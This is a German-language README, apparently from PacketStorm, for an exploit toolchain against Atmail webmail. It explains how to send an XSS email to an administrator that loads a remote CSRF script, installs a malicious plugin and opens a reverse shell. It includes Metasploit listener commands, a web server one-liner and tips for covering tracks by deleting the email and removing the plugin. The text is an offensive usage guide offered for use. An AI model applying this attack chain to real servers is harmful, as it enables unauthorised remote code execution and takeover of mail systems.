[PacketStorm] [WLB-2020080010]
Haftungsausschluss: Diese Exploit-Toolchain wurde von EDB-ID 20009 inspiriert.
Ziel
Das Ziel dieser Exploit-Toolchain ist es, EDB-ID 20009 zu ersetzen.
Vorteile dieser Toolchain gegenüber dem EDB-ID 20009-Exploit:
- Einfach zu bedienen
- Wiederverwendbar
- Dynamisch generierte Payloads
- Leicht editierbar / hackbar
- Klarer Code und Plugin verfügbar
Nachteile des EDB-ID 20009-Exploits:
- Nicht anpassbar (statische, fest verdrahtete Payloads)
- Komplex in der Anwendung (man muss viele fest verdrahtete Werte ersetzen und den Code an die Zielumgebung anpassen)
- Einmalige Verwendung (alle Werte fest verdrahtet)
- Das Plugin-Archiv (tgz) ist als Zeichenkette (Hex-Zeichen) eingebettet, sodass der Plugin-Quellcode nicht einfach gelesen oder geändert werden kann
Voraussetzungen
- (Optional) Metasploit Framework (
msfvenom zur Generierung der Reverse Shell)
- tar (zum Erzeugen des Plugin-Archivs)
- ruby (Vorbereitung der Payloads und XSS-SMTP-Zustellung)
- (Optional) Ein Webserver zur Auslieferung der XSS-Payload
- Kenntnis einer Atmail-Admin-E-Mail-Adresse (nur Administratoren können ein Plugin installieren)
- Passive Interaktion (der Administrator muss die E-Mail mit der XSS-Payload im WebMail auslösen und eine gültige Sitzung in der Administrationsoberfläche haben)
Voraussetzungen unter ArchLinux installieren:
$ sudo pacman -S metasploit tar ruby
Funktionsweise
- Senden einer E-Mail mit einer XSS-Payload an den Administrator
- Die XSS-Payload lädt das JavaScript-CSRF aus der Ferne
- Das CSRF installiert ein Plugin
- Nach der Installation führt das Plugin einen Systembefehl aus: die Reverse Shell
Exploit-Dateien:
config.yml enthält die Toolchain-Konfiguration
exploit.sh der Exploit-Wrapper, der ausgeführt werden muss
xss_mail.rb sendet die E-Mail mit dem XSS an den Administrator über den Atmail-SMTP-Server (unauthentifiziert).
csrf_prepare.rb bereitet die CSRF-Payload vor (setzt das Ziel und kodiert das Plugin-Archiv)
rce_prepare.rb bereitet den RCE vor (generiert die Reverse Shell und erstellt das Plugin-Archiv)
csrf_plugin.js die vorbereitete CSRF-Payload
noraj/ Ordner mit der unkomprimierten Plugin-Architektur
Verwendung
Die Exploit-Toolchain erfordert nur 2 manuelle Schritte:
config.yml bearbeiten
exploit.sh starten
Aber bevor der Angriff gestartet wird, muss ein Webserver die JavaScript-CSRF-Datei ausliefern und ein Reverse-Shell-Listener auf die Verbindung warten. Der Angriff sieht also eher so aus:
config.yml bearbeiten
- Einen HTTP-Server starten, der
csrf_plugin.js ausliefert
- Den Reverse-Shell-Listener starten
exploit.sh starten
Beispiel für einen einzeiligen HTTP-Server:
$ ruby -run -e httpd . -p 8000
Beispiel für einen Reverse-Shell-Listener:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
Hinweise
- Der RCE tritt nur auf, wenn das Plugin installiert ist; geht die Reverse-Shell-Verbindung verloren, bedeutet eine erneute Ausführung eine Neuinstallation des Plugins. Der Administrator muss also nur sein Postfach neu laden.
- Red-Team-Mitglieder könnten den Exploit verbessern, um die E-Mail nach dem Lesen automatisch zu entfernen und das Plugin zu entfernen, sobald die Reverse-Shell-Verbindung hergestellt ist: weniger persistent, aber heimlicher.
- msfvenom (MSF 5.0) unterstützt für LHOST nur eine IP-Adresse, keine Domain.
- Wie unter Voraussetzungen erwähnt, muss der Administrator sowohl im Webmail als auch in der Administrationsoberfläche angemeldet sein.
- Getestet mit ruby 2.7.